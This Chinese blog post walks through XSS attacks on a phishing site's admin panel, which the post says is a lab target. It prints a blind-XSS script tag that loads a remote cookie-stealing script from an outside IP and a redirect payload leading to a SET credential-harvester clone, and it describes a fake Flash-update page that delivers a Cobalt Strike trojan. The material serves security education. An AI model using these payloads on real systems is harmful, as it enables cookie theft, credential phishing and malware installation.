XSS实战攻击思路总结
前言
前几天看到B站up主公孙田浩投稿的视频「QQ被盗后发布赌博广告,我一气之下黑了他们网站」,看完后不禁感叹为啥自己没有那么好的运气......实际上这就是一个中规中矩的XSS漏洞案例,在安全圈子里面应该也算是基本操作,正好博客以前没有记录过类似的文章,那么本文就来还原一下这个攻击过程。
鉴别网站
下面是一个经典的 QQ 空间钓鱼网站:
域名分析
钓鱼网站最直观的就是看域名,可以看到目标网站域名: qq.xps.com,尽管域名中出现了qq字样,但是一级域名却是xps.com这一点就直接暴露了钓鱼网站的本性。
早期还有一种利用拉丁字母注册的域名伪造钓鱼网站的案例,这种就比较逼真了,下面国光简单列举一些:
OPPO 官网 真假域名
# 真域名 www.oppo.com# 假域名 www.οppο.com
Pornhub 官网真假域名
# 真域名 www.pornhub.com# 假域名 www.ρornhub.com
唯品会官网 真假域名
# 真域名 www.vip.com# 假域名 www.νip.com
关于这类域名就不再列举了,早期这种方法成功率是非常的高的,有时候甚至都可以欺骗到我们这种专业的信息安全从业者。
功能分析
钓鱼网站既然是要钓鱼的话,说那么多半还会有后台管理功能。所以使用常规的目录扫描工具多半可以扫描出一些端倪出来:
dirsearch -u "http://qq.cps.com/" -e * -x 301
果然扫描出了这个QQ空间钓鱼网站的后台管理口了:
http://qq.xps.com/admin/login.php
至此基本上已经可以确定这个目标网站就是传说中的钓鱼网站了,下面来看一下这个钓鱼网站是如何运作的吧。
钓鱼流程
小白用户前台输入自己的QQ账号和密码信息,点击登录后域名跳转到真正的QQ官网:
然后用户再输入自己的QQ账号和密码就可以成功登录了。
目前很多钓鱼网站都是这种思路,这可以让钓鱼者产生一种自己第一次是密码不小心输入错误的错觉,从而放松警惕,妙啊!真是妙蛙种子吃着妙脆角,妙进了米奇妙妙屋,妙到家了。
然后钓鱼网站的管理员每天会到自己的QQ空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了:
可以看到上钩者的QQ号为:1314520 密码为: sbhac...ε=(´ο`*)))唉,不对劲?貌似自己被羞辱了一番......
攻击思路
本文主要是来梳理一下XSS
常剑的攻击思路,关于 XSS 以为的思路不在本文的叙述范围内,另外如果有小伙伴要不错新的姿势的话欢迎评论区里面或者邮件留言,国光日后会继续完善本文的。
思路一:XSS 盲打
如果目标网站存在XSS的话且没有httponly防御cookie,那么就可以直接盲打XSS。首先准备一个XSS靶场,国光这里比较推荐Github上面开源的蓝莲花XSS平台。
官方项目地址为:https://github.com/firesunCN/BlueLotus_XSSReceiver
可惜已经清空数据了,还好国光我 fork 了一份:
国光 fork 的项目地址为:https://github.com/sqlsec/BlueLotus_XSSReceiver
然后使用XSS平台里面的模块来生成一个XSS payload:
<script src="http://10.20.24.244/xss/myjs/x.js">
</script>
可以去掉多余的双引号:
<script src=http://10.20.24.244/xss/myjs/x.js>
</script>
然后回到钓鱼网站前台,在用户名或者密码处插入payload(理论上来说,密码处成功率要高一点),如果有表单长度限制的话,可以手工审查元素修改input的长度限制:
这样黑客攻击的步骤基本上就走完了,下面回到钓鱼网站管理员的视角。
钓鱼网站的搭建者到自己的QQ空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了:
发现真的有菜鸡上钩,密码居然是 1111111111 嘴角忍不住上仰。
此时他不知道的是,用户账号旁边实际上有一串JS代码被解析了,而此时黑客在XSS平台里面可以直接看到管理员已经上钩了:
可以直接看到管理员的后台地址和cookie信息,拿到后台地址和Cookie信息就可以直接抓包替换Cookie登录到钓鱼网站的后台,这些基本操作国光我就不在啰嗦了,下面来说一下另一种思路。
思路二:SET 钓鱼
假设目标网站存在httponly的话,我们拿到的cookie信息也是不完整的,所以传统的思路是行不通的,这种情况下该怎么办呢?仔细想想,既然不能正面刚httponly的话,那么为什么不考虑绕过他呢?
下面国光主要描述一下如何使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼。
SET 在 Kali Linux 里面的全称是 social engineering toolkit:
Github 项目地址为:https://github.com/trustedsec/social-engineer-toolkit
点击即可直接启动,首先会看到如下的菜单:
Select from the menu:1) Social-Engineering Attacks # 社会工程攻击2) Penetration Testing (Fast-Track) # 渗透测试(快速通道)3) Third Party Modules # 第三方模块4) Update the Social-Engineer Toolkit # 更新 SET5) Update SET configuration # 更新 SET 配置6) Help, Credits, and About # 帮助99) Exit the Social-Engineer Toolkit # 退出set> 1
选择1后进入到下面的菜单:
Select from the menu:1) Spear-Phishing Attack Vectors # 鱼叉式网络钓鱼攻击2) Website Attack Vectors # 网站攻击3) Infectious Media Generator # 感染性介质生成4) Create a Payload and Listener # 创建 Payload 和 监听器5) Mass Mailer Attack # 群发邮件6) Arduino-Based Attack Vector # 基于 Arduino 的攻击7) Wireless Access Point Attack Vector # 无线接入点攻击8) QRCode Generator Attack Vector # 二维码生成器攻击9) Powershell Attack Vectors # Powershell 攻击10) Third Party Modules # 第三方模块99) Return back to the main menu. # 返回主菜单set> 2
选择 2 后进入到下面的菜单:
1) Java Applet Attack Method # Java Applet 攻击2) Metasploit Browser Exploit Method # Metasploit Browser 浏览器攻击3) Credential Harvester Attack Method # 凭证窃取攻击4) Tabnabbing Attack Method # 标签页劫持 5) Web Jacking Attack Method # 网页劫持攻击6) Multi-Attack Web Method # 综合网页攻击7) HTA Attack Method # HTA 攻击99) Return to Main Menu # 返回主菜单set:webattack> 3
选择 3 进入到下面的菜单:
1) Web Templates # 网站模板2) Site Cloner # 站点克隆3) Custom Import # 自定义导入99) Return to Webattack Menu # 返回主菜单set:webattack> 2
选择 2 然后具体看下下面的操作:
这个时候一个假的钓鱼网站就制作完成了,访问Kali Linux的80端口10.20.25.39效果如下:
这个登录入口和qq.xps.com/admin/login.php的登录口一模一样:
现在的任务就是想办法让管理员在假的网站里面输入网站的后台用户名和密码信息,那么该怎么诱导管理员点击呢?对,聪明的网友肯定想到了,是利用 XSS,准备下方的 payload,这个 XSS 的作用就是普通的链接跳转:
<script>window.location.href="http://10.20.25.39/"
</script>
然后将这个payload插入到钓鱼网站的后台中:
此时管理员到自己的QQ空间钓鱼管理中心里面看看今天又有哪些菜鸡上钩了,结果没想到网站浏览器却跳转到了:10.20.25.39页面,这个就是我们制作的假的QQ空间钓鱼管理中心的登录界面。
如果管理员大意的话,这个时候会以为登录会话超期了,需要重新登录,就在我们假的网站后台里面输入了真正的密码:
我们这个假的网站也非常妙,登录后自动转到到正确的网站登录成功,真是学以致用呀~~
管理员放松警惕的同时,我们的Kali Linux里也窃取到管理员的明文账号和密码信息了:
拿到这个后台就可以成功登录了,Bingo~
当然如果管理员是一个有很高安全意识的人,可能是不会上当的,本案例仅供意淫参考使用,实际运用还是得看运气。
思路三:Flash 钓鱼
这也是B站 视频里面提到过的方法,首先我们需要准备一个钓鱼页面,这里在Github中搜索到了2个相关的项目,下面分别展示一下:
项目地址:https://github.com/Wileysec/adobe-flash-phishing-page
模仿的 Flash Player 中文官网的页面
项目地址: https://github.com/r00tSe7en/Flash-Pop
这种的就要稍微激进一点,强迫症都会忍不住去点击下载的:
国光这里选择了第2种激进的方法,点击立即升级的这个按钮点击会下载好国光我准备好的CS木马。如果管理员以为自己的Flash版本过低的话,可能会下载并运行这个木马:
这里偷懒了没有给Flash.exe添加图标伪造一下,关于图标伪造大家可以参考之前的文章:
为 Cobalt Strike exe 木马添加图标
如果顺利的话就会成功上线 CS:
总结
免责声明:本文出现的思路案例仅供网络安全学习和研究技术使用,禁止使用本文的攻击技术工具用于非法用途,否则后果自负,另外文中所使用的 QQ 空间钓鱼网站是人为修改的漏洞靶场。
XSS实战攻击思路总结相关推荐
- XSS 实战攻击思路总结,看过的人都收藏了
作者:先知社区-国光 原文:https://xz.aliyun.com/t/8459 前言 前几天看到 B 站某 up 主投稿的视频「QQ被盗后发布赌博广告,我一气之下黑了他们网站」,看完后不禁感叹为 ...
- XSS (跨站脚本攻击) 分析与实战
文章目录 一.漏洞原理 1.XSS简介: 2.XSS原理解析: 3.XSS的分类: 3.1.反射型XSS 3.2.存储型XSS 3.3.DOM型XSS 二.靶场实战 XSS实现盗取管理员Cookie并 ...
- 对未标记为可安全执行的脚本_三、??XSS跨站脚本攻击
跨站脚本攻击(Cross Site Scripting),缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意 ...
- 遭遇 XSS 跨站脚本攻击?稳住,这些方法可保你渡劫 | 附代码、图解
作者 | 杨秀璋 责编 | 夕颜 出品 | CSDN博客 本文将详细讲解XSS跨站脚本攻击,从原理.示例.危害到三种常见类型(反射型.存储型.DOM型),并结合代码示例进行详细讲解,最后分享了如何预防 ...
- 浅析Windows域环境身份认证与攻击思路
文章目录 前言 Kerberos协议 第1步-AS认证获取TGT 第2步-TGS认证获取ST 第3步-服务端服务认证 NTLM 认证 本地认证模式 网络认证模式 内网横向渗透 哈希凭证窃取 内网远程连 ...
- 《XSS跨站脚本攻击剖析与防御》—第6章6.1节参 考 文 献
本节书摘来自异步社区<XSS跨站脚本攻击剖析与防御>一书中的第6章6.1节参 考 文 献,作者邱永华,更多章节内容可以访问云栖社区"异步社区"公众号查看. 参 考 文 ...
- 【CSRF02】跨站请求伪造——DVWA靶场实操(含CSRF+XSS协同攻击实验)
目录 1 实验简介 1.1 实验目的 1.2 实验环境 2 Low难度 2.1 前戏 2.2 实验步骤 2.3 代码审计 3 Medium难度 3.1 前戏 3.2 实验思路 3.3 方法一:诱导点击 ...
- XSS(跨站脚本)漏洞详解之XSS跨站脚本攻击漏洞的解决
XSS(跨站脚本)漏洞详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆, ...
- XSS脚本攻击防御(Antisamy)
由于公司的产品准备全面互联网化,所以就对安全问题进行了一系列的排查,排查过程中发现了xss脚本攻击的问题,开始着手了解和修改代码 xss攻击的简单解释 跨站脚本(Cross-site scriptin ...
最新文章
- Linux学习(九)---磁盘分区、挂载
- js+jQuery获取全选并用ajax进行批量删除
- libqrencode生成二维码图片的问题
- CG CTF WEB 签到2
- 嵌入式ARM微处理器选型指南
- 易流即时配送_即时大数据流处理=即时风暴
- Kafka产品迭代计划(RoadMap)
- docker server 容器连接sql_docker 容器连接 host的sql server失败
- 不同php文件,不同文件构建PHP程序的正确方式
- 软件工程学习进度第八周暨暑期学习进度之第八周汇总
- VDI ROI不包括硬成本节约
- SWFUpload控件使用
- Hibernate获取'上一条'和'下一条'记录
- 帝国cms如何域名html的专题,帝国cms怎么生成html网站地图
- C#网络编程之基础语法 网络流(NetworkStream) 文本流(Stream) 文件流(Filestream )
- 技术图文:如何利用 C#+Echarts 绘制 Smoothed Line Chart?
- 【调剂】上海应用技术大学2021年硕士研究生招生考试调剂信息
- java 反射 field.set,java 反射之Field
- 电力设备管理杂志电力设备管理杂志社电力设备管理编辑部2022年第14期目录
- 搭建V2P及中青看点教程
热门文章
- PooledDirectByteBuf源码分析
- spark写入elasticsearch限流
- vue_axios详解
- 对肺结节几何矩的特征提取
- mysql数据库编码设置_如何修改mysql数据库编码
- laravel redis_Redis 之服务器集群配置
- 部署LVS-DR(LVS+Keepalived)群集
- shell之case和循环语句(case语句的格式与举例)(for循环,while循环until循环语句的详解和continue,break解释, 九九乘法口诀表 ,等腰三角形)
- netty java开发文档_《Netty官方文档》设置开发环境
- micropython微控制器_MicroPython:针对微控制器的Python